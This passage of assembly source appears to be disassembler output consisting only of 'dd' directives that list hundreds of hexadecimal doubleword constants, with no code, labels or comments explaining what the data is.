		dd 85608244h, 890023E3h, 900D5766h, 4B5CD8Fh, 332BD02h
		dd 41C092F5h, 0C52D34FCh, 60C5E418h, 58379h, 80789D4Bh
		dd 0BD896944h, 0C4771A18h, 5926BA60h, 0A44C4CE1h, 0D2E9F712h
		dd 48DC45BCh, 61F0C607h, 0D05A70C2h, 1859E600h,	0D1B21D14h
		dd 0A61698B1h, 590F5E97h, 0B00BDF3h, 73BF3274h,	3F8D1657h
		dd 109403B9h, 6118D8BDh, 6D786087h, 6C2C00E1h, 0DA789482h
		dd 7A00FD3Eh, 4A5AFCB1h, 40B06177h, 0B71332D8h,	0A043A790h
		dd 929EDC06h, 144C67Ch,	77A2293Ch, 571926BDh, 4059C2D0h
		dd 3492C851h, 54F9C40Bh, 0A13384BCh, 4774FC9h, 1019046Dh
		dd 427AE031h, 1C9CFA82h, 0E5469F34h, 381A6422h,	2A69723h
		dd 0EB75DC19h, 84F6E936h, 2C1465Eh, 7034A05Ch, 0E4E4C594h
		dd 7D6260C4h, 3A830173h, 4F540658h, 0D66926Dh, 902594A2h
		dd 0D8C4BC67h, 0C5D85163h, 3FA431Ch, 5195058h, 322AAF36h
		dd 9D7A2CF4h, 346D3889h, 0D91948C0h, 0A6C40347h, 0C0FAF18Eh
		dd 0C414BDB5h, 0F80E34FEh, 57C8E4D2h, 0B309A490h, 71D017E2h
		dd 20B013D8h, 6EF96BB0h, 1114C648h, 18489671h, 721F1622h
		dd 0A2E5CEB9h, 18FA71F8h, 0C180EA6Ch, 747D490Bh, 0FE76F880h
		dd 0AC915EB5h, 72AD3000h, 9C926173h, 0BFF70420h, 9EBD40AAh
		dd 4792263h, 198C5744h,	0B8BCB8h, 97680F07h, 88402CC7h
		dd 0EA0033C2h, 36C31867h, 95EC53E7h, 84753422h,	5A4C39D7h
		dd 0E0A4416Fh, 0F088F5CEh, 0EF009FFFh, 6BDB99C8h, 4A3AE2EAh
		dd 470E2D7h, 0C9FB02BBh, 0BCEC0416h, 780CE932h,	0C86EE85Bh
		dd 44A0D409h, 57876280h, 0E3481C85h, 146B01B0h,	8F7B1689h
		dd 0CD8A91E3h, 0A680442Bh, 0AF051F2Ah, 80B8C39Eh, 0E430C2EDh
		dd 0B6870164h, 1ABB6890h, 0CF2E0Fh, 82C02F88h, 90846996h
		dd 8C401434h, 6127BFECh, 0C383E02Fh, 8DDBFC34h,	31A73BC8h
		dd 463A6D2Dh, 7FEA406Ch, 33CF048h, 2ABD0490h, 88994F07h
		dd 0C10B6EDCh, 8A4E22D2h, 0B10C6414h, 4BE8B13Ch, 0BCE02031h
		dd 0CC4A6B3Ah, 16358C48h, 23803F33h, 743405FDh,	68A0C710h
		dd 3800DA11h, 0BF3F0C28h, 0CCA2F421h, 0C14494C7h, 86E8C663h
		dd 50ECCA08h, 0C505A4Dh, 28F21A92h, 6D6E2F3Ah, 20458061h
		dd 0C04511Ch, 4601B57Eh, 87BC30A8h, 3B4A1D8Ch, 8B42CF8h
		dd 9325FEE7h, 54B9EAB4h, 6DC09C10h, 0CE1F24E5h,	907A16C0h
		dd 1F545DD5h, 0C0ED9674h, 813FE1ACh, 737E3A3Bh,	3427E4A8h
		dd 9638980h, 0ED7EBC88h, 0EA9438A4h, 0E8ACEC12h, 28C2DECh
		dd 6926B774h, 1D57286Bh, 82CF117Ch, 0E190093Bh,	4038A104h
		dd 21E11C13h, 2E0EAF94h, 4C8A412h, 0DA41C1FBh, 75ED1B3Ah
		dd 92202818h, 0D7B880E9h, 9123271Eh, 72D6CA09h,	67570094h
		dd 11F4FD16h, 52003FD7h, 9AE761B9h, 94551D94h, 0FA224798h
		dd 22A91054h, 2ABC08F2h, 0FD42D69Fh, 64451277h,	0DD60D0C4h
		dd 3560D68Dh, 0B587B6A1h, 10D300E3h, 0A783BE54h, 749CD669h
		dd 15E4282h, 115C5BB1h,	880D75B4h, 0C9F91D39h, 58F2824h
		dd 64E6BBE4h, 8168FCB1h, 0A54A9BEDh, 0A35552E0h, 0C205C0DAh
		dd 63111DE6h, 0E33D04C6h, 0A2A8A624h, 911C30CDh, 82503C3Eh
		dd 6D61E8C7h, 0B618E9F7h, 3F2CC610h, 134078B6h,	0F8D9DD68h
		dd 7EB5094Dh, 2426AB51h, 300E9C0h, 0DE5B2010h, 502FD2h
		dd 853ADF9Fh, 0C78B5525h, 283E4028h, 9506237Dh,	0BF1D3372h
		dd 27A10F41h, 6880F9BAh, 0CC11A89Eh, 554E1073h,	20CACC20h
		dd 73F1009Bh, 2714BD19h, 39E4D9A4h, 0D9783225h,	182E79A4h
		dd 2FE1EE01h, 0D869241Ch, 92C7188h, 3B42C1E4h, 0B9C814CEh
		dd 0A736AFC0h, 3990B412h, 0DCC6BA09h, 29717479h, 0D300F118h
		dd 3B80108Ah, 0A09E5D5Eh, 6FEB2FC0h, 0D690A83Eh, 5FA2B0B6h
		dd 92D970E0h, 0F95AE114h, 2009DB8h, 0BD6D3AE8h,	28EE00CCh
		dd 0C596B8BEh, 7619BBC4h, 8A888331h, 293D028h, 14D6051Ch
		dd 4142D0FCh, 2ABA01AEh, 266875F7h, 8DF6F088h, 44CED4F7h
		dd 498E510h, 0FCCFE2B2h, 63895CFCh, 0A87BBCABh,	6CD770h
		dd 0DCBACE73h, 176D8823h, 0BB7A4B02h, 84B9F2C6h, 0EF403AE0h
		dd 11CD4943h, 801B3938h, 0C08AF989h, 9BB8F12h, 4681ECC8h
		dd 5C8F2037h, 8469D8D5h, 3D5700BCh, 51AEF132h, 73003B3Ch
		dd 7220FBF4h, 4816AF36h, 83253433h, 1209FC5Bh, 58F2C2h
		dd 55160663h, 746D17CCh, 8EF8DC0Eh, 0FE75C0DFh,	9303E99h
		dd 3F3ABAEAh, 90DDAC42h, 9D92C0h, 0D74B85Bh, 1EBA8C7Eh
		dd 59D70C3Ch, 6C8F07FCh, 36858538h, 174584E4h, 0F1C95E1Bh
		dd 12687334h, 648CC28Fh, 36E16590h, 0B0E4B6DCh,	0C9D88Eh
		dd 0F82C5B0Eh, 749D405Fh, 896E4927h, 5E5C01ACh,	0C6008291h
		dd 8B1F54E8h, 0FFD602BBh, 41A1C4A4h, 8E7C2CBCh,	0BF001344h
		dd 0BA2F48A8h, 4A200758h, 79A69EA0h, 702504DCh,	4022EA4Ch
		dd 69126C34h, 0C4C8F631h, 0CCB5888Bh, 7009EAB8h, 0D1C72B4Eh
		dd 1887D168h, 5FFA3CE3h, 2D25A85Ch, 8391C09Dh, 25803D8Eh
		dd 1EDDC93Eh, 5AB97239h, 0A6D09818h, 2B2E89E2h,	6464E00Bh
		dd 0F7D6F630h, 1EBC5CF4h, 67E87B86h, 0F5912C73h, 4FE2DC0Eh
		dd 10F8FD12h, 0BC25AEE1h, 8904FC51h, 0E4F735EAh, 5599A4A0h
		dd 133D63F2h, 54545022h, 0B38CD425h, 25EAF13Ch,	0F80C4414h
		dd 9DCA946h, 5CEEBEAEh,	82D820BCh, 0F458DEB4h, 0C6560402h
		dd 7D3248D2h, 0A2A46C25h, 9DD510D4h, 0C3106458h, 30E833F2h
		dd 2CA90516h, 0EAE53E87h, 756BC822h, 2C11141Fh,	0B73BA287h
		dd 867F71A3h, 0C958386Ch, 0A8008FB6h, 0E2D901C3h, 2A082733h
		dd 8CE0A017h, 28CD1420h, 0BE10A091h, 49720DC2h,	2830E1BAh
		dd 18ED6BE3h, 0C1E47065h, 0B9B05663h, 6B0459AAh, 0CC0DA77Ch
		dd 45F640F0h, 0C83A3A33h, 11008123h, 0ED746F6h,	14B3FE7Ah
		dd 0B0BF36CEh, 0C8708E4Eh, 45DEC0C5h, 0B703FCE4h, 40F69D02h
		dd 1A96F174h, 0B6418847h, 612A3DFEh, 61349FC8h,	0F59C4235h
		dd 4B4A880Ch, 0D5508CD3h, 596BD08Bh, 0B21232ACh, 4579541h
		dd 181FD41Ch, 882B19C5h, 0DE2A9D00h, 5F6D523h, 0E4320066h
		dd 3EA72E7Ah, 0E0044EE7h, 379B1C6Ah, 0A842708Ah, 7C3082E2h
		dd 79BE0092h, 3C8AA540h, 385A84A3h, 6EC094CDh, 43C4B477h
		dd 0CBB98C57h, 74476AD6h, 5F805064h, 10729DBh, 6F79441Bh
		dd 68BCF215h, 46840694h, 3140D6h, 27AF9BB4h, 47861554h
		dd 0F026B702h, 43EF2879h, 0D862C1B4h, 252C30h, 0D4CE2CD3h
		dd 39409D06h, 0FB787E01h, 0EA502E9Eh, 0CD2E5C37h, 0B320454h
		dd 0CC140EFFh, 4A35C96Eh
		dd 68CA0B4h, 622E4241h,	255A114h, 586E164h, 9E1C216Dh
		dd 0A630883Dh, 0A1EA02F9h, 65C2C4B6h, 33012478h, 6174385Ah
		dd 0F304F59Ah, 8478513Ch, 8FF3A910h, 3D965058h,	9B0EB80h
		dd 494EBCA0h, 0F42FC54h, 305409EAh, 0BEBFF803h,	42815E36h
		dd 0F6666100h, 44A570DBh, 0B1733AC0h, 20361414h, 440251B0h
		dd 0C85EE98Bh, 6259C207h, 9C01D8F6h, 0AD3A2B81h, 2D65F09Eh
		dd 431DCA5h, 313D7AC0h,	0ECFD0736h, 0B4D1BC02h,	86967207h
		dd 0D8D2DC34h, 7C2E10C0h, 5B128578h, 0B020230Fh, 1A3F4B4h
		dd 0EF4DB19Ah, 0EC7B1A74h, 340090BBh, 0EDE2F1C7h, 0F5EC55h
		dd 35A8C278h, 7CDD4B5Ah, 891A21C0h, 0FBC3B14h, 0E613C188h
		dd 85B85283h, 6BC8C1A5h, 0D48180B3h, 8013203Dh,	0E778BDh
		dd 33854A28h, 0FDB0EAF5h, 0D580092h, 8C8701C1h,	7432EB50h
		dd 9023B421h, 0BEC108A7h, 0EFD8059Fh, 0CA5025D2h, 0C244DC40h
		dd 347F0B02h, 0F0591283h, 90957868h, 74D17CE0h,	0A1DD00C6h
		dd 0B7BC6994h, 3F1671FFh, 0B0E58578h, 5CC003D0h, 7380FCBEh
		dd 3B3477D0h, 642CC717h, 443224E8h, 14722A10h, 0F3FFBB38h
		dd 0B2F97309h, 0FC902853h, 1C642823h, 9C432492h, 75FD1928h
		dd 2EC058ABh, 30339C40h, 1DFBC3AFh, 934292Dh, 805A6E31h
		dd 0FF87BB1Fh, 40BC038Ah, 756662D2h, 948E9018h,	3F744900h
		dd 0FEF0BA50h, 6CA29DE4h, 0D4F89A5Ah, 8A49226Fh, 15D63C33h
		dd 0A4682BC7h, 6B2C150Bh, 30223CEBh, 623485DDh,	17EC7Ah
		dd 912F74F0h, 520F1D4Eh, 90F25B4Fh, 0CD80B23Eh,	7740733Ah
		dd 6D5111B5h, 23BC1E48h, 0C3C06132h, 0A7985007h, 424F2235h
		dd 9E242C08h, 27BC2A06h, 4A5B3F8h, 5154086Eh, 385E42h
		dd 312D2E6Dh, 802C7058h, 0BF44EEB2h, 15A800BBh,	0E80A2319h
		dd 0AF6A4B12h, 0DC027091h, 745AED7Ch, 81E138A0h, 0C7343AC4h
		dd 2099C0E2h, 1CBC4824h, 0EC81284Bh, 9C21C591h,	0C9003C68h
		dd 35F1844Eh, 64B61BE3h, 0CCA95A02h, 0C095D7ABh, 980751D0h
		dd 4EB33094h, 90091A08h, 1E400CF0h, 0B1194076h,	224301FBh
		dd 1D59C01h, 0A301324Ah, 7D408872h, 0B2C828EEh,	100B6650h
		dd 40314127h, 209E1871h, 744F9B01h, 59C82EA8h, 21011835h
		dd 8C6DA8Bh, 20286830h,	966EB75h, 3109E749h, 0EC18E620h
		dd 0D959B1E5h, 1088DB28h, 0E40877A8h, 2C790CD7h, 5C63CA08h
		dd 10623E18h, 1551D208h, 6284F4C2h, 7B66EB9h, 97081C46h
		dd 4056BB40h, 0E163C573h, 193E1128h, 186BE908h,	74A451A4h
		dd 0F3109970h, 4199B431h, 885A810Ch, 3FBE8BB9h,	0F031CDA0h
		dd 0B3D20823h, 0C9CF1888h, 1065980Ch, 1DD640ABh, 319AB9C4h
		dd 104D2D06h, 84CB832h,	39DCA6BEh, 0F58E3321h, 4118BD08h
		dd 0B408C785h, 0CB3380D0h, 80E29C80h, 0B080CC66h, 98758111h
		dd 0B891DE81h, 7008C4C3h, 3ABE0415h, 2863C606h,	87F9C31h
		dd 0A00154A8h, 41208CEAh, 63AD080Eh, 5A94185Bh,	0C0E10810h
		dd 0C489E532h, 8C4B1449h, 8E92211h, 0A579C6CDh,	0B5652050h
		dd 8044C029h, 3C06B17Dh, 1E320801h, 0A2F73039h,	3E3C598h
		dd 82AF004h, 9449F86Bh,	0BC7E1884h, 81193228h, 2EB9888Ch
		dd 91AA183Ch, 0F581DC53h, 184EB851h, 4449B102h,	0CCE452F8h
		dd 0D868B4AFh, 8DED308h, 300CEE0Bh, 40713074h, 0CD41183Bh
		dd 8A849FEh, 0DA9FD051h, 2441D201h, 7E8159E0h, 0C4D9898Ah
		dd 4984A2ACh, 40704CA1h, 7892D647h, 326D7720h, 680804D2h
		dd 80CDE0A3h, 5CE1018h,	80773108h, 0EB807688h, 2A8B80BDh
		dd 91530CCh, 0B319C46Bh, 0E1230416h, 83DBF06h, 33211020h
		dd 57416742h, 18D30824h, 3A690C88h, 58105449h, 2B7B1012h
		dd 8A283724h, 0A2FC146Fh, 9C7449C8h, 8C216532h,	0ECEF3448h
		dd 0C8246E81h, 34C1CA4Dh, 644589CCh, 16E214A4h,	2A3E2A1Fh
		dd 3C20D804h, 612966C3h, 8909B124h, 485AA14Ah, 1B58870h
		dd 0D86899E0h, 0E030BCB7h, 656081F8h, 0D9B00C10h, 1444005Ah
		dd 0D5F936C3h, 80BA186Ch, 0EA3FD400h, 0B20240F1h, 0CFF6003Ah
		dd 1E59BB20h, 3DEEBACDh, 0D6B81958h, 0C71F981Eh, 0B0D9F1C0h
		dd 3BC96A8h, 3148DD6Fh,	0E9F8E0B6h, 34E7D32Dh, 1218EEF4h
		dd 6C70402Fh, 68CF004Bh, 0CDF59EF8h, 36743431h,	0C0BCB47Eh
		dd 0D1DE4880h, 616C5B45h, 0C691E044h, 0BC40806Dh, 78BF1DB9h
		dd 590D0007h, 17C37FA6h, 2500472Ah, 3DDF74FDh, 24AF286Ah
		dd 31D2719h, 29DA12E9h,	0ECB4401Dh, 6372A180h, 38B0223h
		dd 1CF55BEEh, 8006DC29h, 0B2CD2634h, 35BA7C90h,	0E8F9A5E1h
		dd 1DB10E56h, 2CC0B712h, 0B569D683h, 72E85880h,	43034F28h
		dd 1D99BB1Ch, 0C0A9C86Ch, 34D128C5h, 89033EA8h,	4B20453Fh
		dd 0C90A70B0h, 80D1B4C5h, 0E9844349h, 5C72EF62h, 3ED5B200h
		dd 0E5893270h, 173A723Ah, 604FBF5Ah, 8891336Bh,	9429877Ah
		dd 3736A00h, 0D6934613h, 70BCA930h, 9F3215C4h, 896D9CC0h
		dd 8D9239C0h, 914997h, 1940E142h, 0AEDA46D8h, 0A812113Bh
		dd 0E206A05Eh, 0D2741D91h, 81F9FE80h, 86C0D772h, 0DC00B3C2h
		dd 90736B6Fh, 3CFEF7DDh, 1B185CAEh, 1634118Dh, 2209F8AEh
		dd 0C0B68B01h, 80173F5Ch, 609E857Ch, 9F6CBA80h,	1FF73644h
		dd 9DE9832Eh, 1D6A4097h, 202C56D7h, 137C9306h, 1EA83D9Ch
		dd 0C74A8FBh, 89104C97h, 82EC3650h, 0A0D05DE8h,	0ECD68298h
		dd 148C8553h, 0EC24BC1Eh, 0E1157830h, 8E7D0184h, 11AA619Fh
		dd 59E0DB0Eh, 0DD07DE83h, 743691E0h, 1F42C84Ah,	1CB000DFh
		dd 0B1831440h, 59E0CD0Eh, 2C10C032h, 559FEE7Eh,	1DBEF40Ah
		dd 0D6868450h, 88E7EAh,	9564BAE0h, 46A03741h, 0B63D82F0h
		dd 206983DFh, 0C81FF3ABh, 0E834289h, 123AD776h,	7B44F136h
		dd 65B9B000h, 71ED62h, 7547357Fh, 2DC489CAh, 12453207h
		dd 63C68D15h, 7DDE7C58h, 69A81D6Fh, 5B2E0770h, 46EEC022h
		dd 31E67AEAh, 0C8765F30h, 40191D70h, 2090401Ah,	562E890Fh
		dd 43012EEh, 929AEC5Ah,	4C754840h, 0ED91DFh, 0E7D6DD86h
		dd 7C5A36BAh, 518C6F1Eh, 0A8901132h, 671F100h, 0BE818335h
		dd 74C0B119h, 0C8AEC218h, 47EF8880h, 8DB4503Ch,	5F4D625h
		dd 0E844B878h, 5000DD34h, 62F6B53Bh, 8819FD00h,	39141AC2h
		dd 0BD211F56h, 0D1F58AF3h, 0E29080D0h, 9372BA17h, 0F9075000h
		dd 0AA455F2Eh, 12C6128Eh, 8DFCB002h, 7571AD0Ah,	0BA604CC2h
		dd 0E4C01D81h, 0E4E34FBBh, 0FA734688h, 30020E4h, 4334C374h
		dd 9A4868Ch, 2949DCB4h,	641E80Fh, 487F2E8Bh, 0DA3791ACh
		dd 0E816F1B4h, 457750h,	5EADD528h, 0E1A2E4D4h, 641DF890h
		dd 0BCA4A908h, 72341306h, 0C82E3BA8h, 2088DDA8h, 3CF8FF9Ch
		dd 48ACB525h, 1E8EC8Ch,	0BBEB89E1h, 87208F1Dh, 716FA818h
		dd 0E5D8D383h, 9E48B400h, 5BEAA9D2h, 0CD64F078h, 74D149h
		dd 811D9A36h, 0D2C9EC9Eh, 24345940h, 3B00223Fh,	781D3112h
		dd 0E2D7A9B2h, 0A0244E98h, 606F8C58h, 0B207C9Dh, 0FCE7552Bh
		dd 6A00CE6Eh, 36D6041Bh, 0EF6CF6h, 9E1D2A26h, 5BD4DCD0h
		dd 484E4C31h, 0E7E0DD87h, 0E550C970h, 80105029h, 7600CD06h
		dd 0D4A00582h, 0E792Eh,	6D673573h, 0A5BAAA1Ah, 0D8C1D17Ch
		dd 0B2FD4FC9h, 0C681A8BAh, 74FB6C97h, 587820EAh, 801AE41h
		dd 0F20099C9h, 6409FE73h, 299B8692h, 6CA006D0h,	36C88061h
		dd 806B2660h, 682D6248h, 0A6ECBC02h, 18C074A8h,	58539B5Ah
		dd 0D618B4EDh, 4728A0ACh
		dd 0C8300538h, 0C1F62FC2h, 346B13BAh, 344D8C7Ch, 0AA1D1040h
		dd 3DBA7D00h, 91EACCBEh, 9984AD34h, 39DBACC7h, 0ADDFFD44h
		dd 43016381h, 98BB17FCh, 0BDC00430h, 8830C3D8h,	0F806B278h
		dd 0B686123Eh, 0F3D90510h, 549E5ADAh, 0EC7A90E8h, 1C11D4A6h
		dd 834DF24h, 2E09AE2Bh,	0B2781980h, 0A49950FBh,	0B38B1E24h
		dd 0AC1CC579h, 1ED49338h, 45EFD813h, 98450034h,	6C90B812h
		dd 51C34381h, 7008542Bh, 498B305Ah, 0D6052018h,	48263934h
		dd 4985309Ch, 545864EDh, 82106402h, 0CC03F0Ah, 9DFCB5C5h
		dd 1B848F00h, 5701DA4Fh, 85BA00ECh, 12699219h, 1506C270h
		dd 9931D6B2h, 8D5A1060h, 0A7FC402Bh, 0F5ACF202h, 9F1DD6h
		dd 9D8AE2B9h, 0B9826226h, 0BC37420Ah, 0DDCCBC9Dh, 1D2E91EFh
		dd 40759DCDh, 49439924h, 0B32A1D3Ch, 70015812h,	0B62F4830h
		dd 1DF1BCDAh, 0AA1C9450h, 0E428C9C0h, 0A9911300h, 404C1482h
		dd 0F52C074Ch, 0DCD7DF21h, 716AE570h, 586EFC08h, 505490FBh
		dd 0B51014BAh, 0C289A8F8h, 61BE0818h, 0D8121E09h, 29440902h
		dd 21302BECh, 15C346F0h, 0E0BC1842h, 48207298h,	6AC9042Bh
		dd 81388C19h, 5B7C89B8h, 208CC0D9h, 0DC413722h,	0F708062h
		dd 0DBB40068h, 0A1264D36h, 900194F0h, 0BEC9ED9Ch, 280349C0h
		dd 88341Dh, 1BC37335h, 0BFF17D7Ah, 3ECB7501h, 2BEA9EC0h
		dd 6BB44Ch, 3D0D132Ch, 29E63BF0h, 40436405h, 0F4C8B9BBh
		dd 96E3001Ah, 0F8FB7D2Eh, 0EA3CF653h, 8552802h,	0ECB38302h
		dd 0C937BC44h, 3B188A7Ch, 0A50BACB8h, 0EAA38412h, 13E40FC0h
		dd 58289076h, 904270C2h, 12F44602h, 88A78C3Bh, 0E224F1C5h
		dd 0A01E6F27h, 2005E512h, 4CCC176Ah, 0BAD6148Ch, 0DF24E89Bh
		dd 2300BAD4h, 0D2E0C724h, 0B54C5705h, 0B1551604h, 5C49AC52h
		dd 10B48E79h, 4BD8F13h,	0C76359E4h, 10BB8629h, 44AF1214h
		dd 946448C8h, 0BDF009FCh, 9C1008BBh, 7821F180h,	0B4F5B359h
		dd 239701F0h, 867580ABh, 0E930D930h, 900B0F9h, 0EEB50ABAh
		dd 0C2A3C19h, 925094B1h, 48480FC4h, 5A584396h, 2829F84Fh
		dd 0BA14C0BBh, 1821D6E0h, 70245B56h, 1648F0D5h,	12BD08BBh
		dd 29DC26B0h, 81C00474h, 0C3515E30h, 688908Dh, 0B63DA88Ah
		dd 2E2928BCh, 4131DC7Eh, 6BF05Ah, 0CEBCBA64h, 9D61EE5Bh
		dd 0E9B38810h, 506AA430h, 96B9C42h, 9C7530BAh, 0F2FF2C03h
		dd 14D2DF99h, 1D830801h, 88441531h, 596A3822h, 0BF55050Ch
		dd 0D6E031A6h, 105CD757h, 4255250Ch, 2E1000D7h,	0F8CD16h
		dd 8DD8B475h, 43B106AAh, 9BCA020h, 0DA74EE7Ah, 58CC2C4Ah
		dd 81171210h, 0E0459F00h, 0DFA91F2Ah, 7592911Eh, 0FBCC42Ch
		dd 1D11FF26h, 95D38BFAh, 2C4CA0CEh, 1DA9D4B5h, 0AA5DBEF4h
		dd 0FD1420B8h, 9830E548h, 0B1422350h, 29183C14h, 681C1067h
		dd 7BF80660h, 0C3BFBB5Bh, 651D8298h, 519440D5h,	0F4226086h
		dd 4D2CEA02h, 64342AC3h, 0FB0220FCh, 257ED39h, 7D5BFF37h
		dd 24AC94C2h, 216C828Eh, 5BEE0084h, 0FDF91CF0h,	600220DEh
		dd 432C87ECh, 24A901E0h, 0F7DB59C6h, 1418F8B4h,	5BE82304h
		dd 0CE1DA6B8h, 0E92081B6h, 0BCECFC34h, 1CB55Ch,	3807DF68h
		dd 9A58C112h, 0C0C09374h, 0ECFDD585h, 0C0022A76h, 251D3112h
		dd 16A0C940h, 0EA007439h, 331B4574h, 734A368Dh,	12D46828h
		dd 0B0F2EBF5h, 0A9C259F8h, 6481AEE8h, 0ED5B10E8h, 84C000C8h
		dd 0D310877Ah, 6A0D0162h, 0DAFD4721h, 28E44781h, 69CDF15h
		dd 752512F3h, 9A0894D0h, 0CCB2C0BAh, 0A89DF868h, 3CCCEB4Dh
		dd 902C4D26h, 5B28B58h,	0C8D172F4h, 0BC01B80Ch,	0B421AC6Bh
		dd 17E3C608h, 79F400BBh, 4A6CBAE1h, 0FC102403h,	5DBD5CD6h
		dd 0C9F7420h, 0D9C0C765h, 78E71E24h, 0C050728Ch, 0C2540B6Fh
		dd 10815F17h, 0F5F2384Bh, 5B08853Eh, 9C5385B9h,	0E1E6840Ch
		dd 0C0F8735Ah, 0DE315618h, 0C104D2F2h, 43926996h, 13727098h
		dd 307D2B13h, 14AA1B28h, 9ED1C501h, 81E2CD25h, 60498032h
		dd 63DA7D09h, 12F8C480h, 50D3390Ah, 3C022C13h, 51302F9Dh
		dd 458108D4h, 781E6C63h, 53D8160h, 0BD85BC04h, 0FA129CC0h
		dd 74A8A0A4h, 14395CCAh, 59E16E00h, 8717D69Bh, 8169389Eh
		dd 0DBA1CA4h, 0F0709Fh,	0C37687B2h, 46126938h, 6800CB1Dh
		dd 0AC630516h, 4580205Ah, 1483BF27h, 0ECD90034h, 12E652E3h
		dd 424A2899h, 0A0B8B076h, 0C3F5D44h, 77C0FB3Ch,	0F7127520h
		dd 5CF0EBD6h, 44121BF2h, 800EC8A6h, 0E23EC6EEh,	0CF845Bh
		dd 2EB2746Ah, 0AEF09C02h, 0D05A9183h, 54BC4888h, 92C12E78h
		dd 0D8276064h, 0B47879AAh, 6AE8A800h, 43137A7Fh, 0ABD60BDCh
		dd 744A3696h, 7982F068h, 0CE12E53Dh, 1A84ECC0h,	11F1CA0h
		dd 71C413D6h, 0F182BC7Ch, 0F282858h, 5891342h, 88C01F0Ah
		dd 91E270E1h, 0E4498C58h, 0A49AB128h, 0EDE5D20h, 0B67826EEh
		dd 0EAB59D21h, 9CB1F83Dh, 60965A76h, 1825811Fh,	804F0798h
		dd 93006DB9h, 0B23CC42Fh, 7121BF52h, 0D4CA355Bh, 4D9E8120h
		dd 0DC1C71B9h, 0AC9CD5B5h, 0C37D8386h, 0C840910h, 0D040824Eh
		dd 9F1264CBh, 40DDB5BDh, 9E10A039h, 64FE0522h, 2CD0A613h
		dd 540D475h, 38D672E7h,	3EAC637Dh, 0BA8A3810h, 0EE59ED00h
		dd 1283E0B5h, 80007E5Bh, 455AAB46h, 90B8CA21h, 8BBE9CB0h
		dd 2020CCF0h, 0F3B6BC94h, 0EDEEE7EEh, 0B5F15C00h, 0C1FF9D3h
		dd 0EC561329h, 8448409Fh, 0BE91907Bh, 1210DA7Bh, 0BC0FA209h
		dd 790AE7E0h, 346A80F0h, 0D671DDE5h, 4BB7B020h,	1C5420C2h
		dd 5781B37Ch, 550B4C3Ch, 0D018BF62h, 1212E879h,	7C4116E3h
		dd 40745BD5h, 58205825h, 20DCA43Dh, 0EA3EDC23h,	82391FF9h
		dd 5130C92Dh, 0D4476007h, 0D6188C9Dh, 166873D3h, 56C607E7h
		dd 0B30DD212h, 5059B54Ah, 5C684D6Ch, 2C2CE8DCh,	0A44CEE51h
		dd 0D6D84C50h, 5C906679h, 8E2E1300h, 35875996h,	315B13C5h
		dd 76444AE8h, 0DDD808D4h, 0DFB4AF00h, 4C2DEFDh,	981A4358h
		dd 1CA48038h, 0FCB114A5h, 32FB5308h, 3C70DF71h,	224D5A18h
		dd 77032018h, 0B5E6162Dh, 0D170FDCh, 0DE9A1660h, 0A0E83EC5h
		dd 688BE8A1h, 328301F8h, 0AC09DA13h, 0F1806C38h, 48D6EF59h
		dd 390CC159h, 9CF74436h, 2E9703FCh, 0B9B98E5Bh,	659AF10Eh
		dd 5936E478h, 907F6B27h, 0BAF1C100h, 342F29CCh,	13570BA0h
		dd 0D8D540Eh, 0D6080008h, 0A0A01D06h, 6900BEF2h, 817ECE61h
		dd 68477E5h, 0EB5B50E1h, 265C90CBh, 0E01F9D70h,	10EAA70Ch
		dd 580B1DD1h, 430501E5h, 50E4D7DAh, 764D9370h, 913ECB04h
		dd 38955DF1h, 53AAF0C1h, 103D0303h, 4DA71645h, 0C350E400h
		dd 1364161Ch, 8034E592h, 0E28D7424h, 175DF14Ch,	48088473h
		dd 7D2E00D7h, 14DC9124h, 5F122Dh, 5BA5345Ch, 90BE6FB7h
		dd 70A7FE60h, 0C2E8206Ah, 37A61F0Eh, 802EC60h, 1E850090h
		dd 5707E90Ah, 801769EBh, 94D05B1Bh, 27D6A6EDh, 0F4004B46h
		dd 0A50B6914h, 0F61D6A08h, 0EE47021Ch, 0E8E4E274h, 8881482Ch
		dd 4D37EA40h, 0D42648EFh, 0E7DF3481h, 5AE860DCh, 18B96235h
		dd 0E8E51891h, 0E7CF1988h, 0D3207101h, 80806B29h, 77193AE6h
		dd 0B5000F73h, 90F5E3DAh, 1512BB13h, 0A44C921Dh, 160CBD26h
		dd 89A00338h, 0CDCC2C55h, 40496F04h, 107C89AEh,	7F7A9798h
		dd 22DD4EDAh, 0BC24C418h, 311CC8CCh, 45409CECh,	30C821B9h
		dd 0AF40887Ch, 89C10BDCh, 8CC1FD12h, 15000B1h, 0DEA31Dh
		dd 554DAA38h, 2A1B31F8h
		dd 21D68E17h, 23F334C1h, 2AFE944Ch, 203CFDB5h, 730502EBh
		dd 4CA291F0h, 8700F0F2h, 0B070A88Ch, 0BF60BD1Ch, 0EB1367E1h
		dd 7B0C925Ch, 1F7209F7h, 3C90792Bh, 0F20078BFh,	2EE003C6h
		dd 875358h, 282A2271h, 4B12F7ACh, 91423127h, 0A057B150h
		dd 84F47CA1h, 0DB747881h, 0AC6B9E02h, 22E93C08h, 9D5720h
		dd 0B1F81D88h, 5F12A0BAh, 0E4206DBAh, 0E5137EAEh, 0CC4C936Bh
		dd 246CA8E4h, 0C0012CBDh, 9A37298Fh, 5A8791D4h,	0EEC4278Bh
		dd 9DD0A44h, 0C3380044h, 3D14542h, 0BB4ED2B4h, 16D15831h
		dd 0B1D9301Ch, 0FD98248h, 9E781E63h, 0AA9D84C2h, 0CB6C60C0h
		dd 8E621785h, 4F2C8042h, 7F0B3813h, 401AEA9Bh, 60D69808h
		dd 0BBEFE93Bh, 0C91D5F6Ch, 0C2DFE4A8h, 5B129641h, 0A8345A6Ah
		dd 0F089293Ah, 761241C0h, 0B4F08727h, 0E6100FD3h, 9A7D5BF7h
		dd 0FB8624E4h, 79CF00F4h, 16EAB77Fh, 122CEFF6h,	84899467h
		dd 0A2EB8955h, 9F1825Ch, 3322F844h, 96E08269h, 0E3840000h
		dd 8F7DC659h, 9E3212F4h, 0C885302Ah, 90A88410h,	81BA4AA4h
		dd 808D5CE4h, 0FA59E679h, 508AA7h, 0C3FB2F3Bh, 4ACCB12h
		dd 0F4E4C603h, 5BDBFF5Bh, 5A280368h, 0A12688A1h, 274280E5h
		dd 7C092B53h, 121300CCh, 0FC3C5278h, 1CC8C22Ch,	284A964Fh
		dd 0C977CC00h, 0E37152F6h, 5CB66202h, 561B129Ch, 449A2530h
		dd 0F8657860h, 7EEA80h,	0DDC5512Eh, 6E913FA1h, 0DC99837Ch
		dd 7BD32102h, 0A37A604Eh, 0E740C033h, 0AA282913h, 0A8E15A13h
		dd 46E69840h, 0C320142h, 30FB5B1Ah, 4726BC18h, 448238ACh
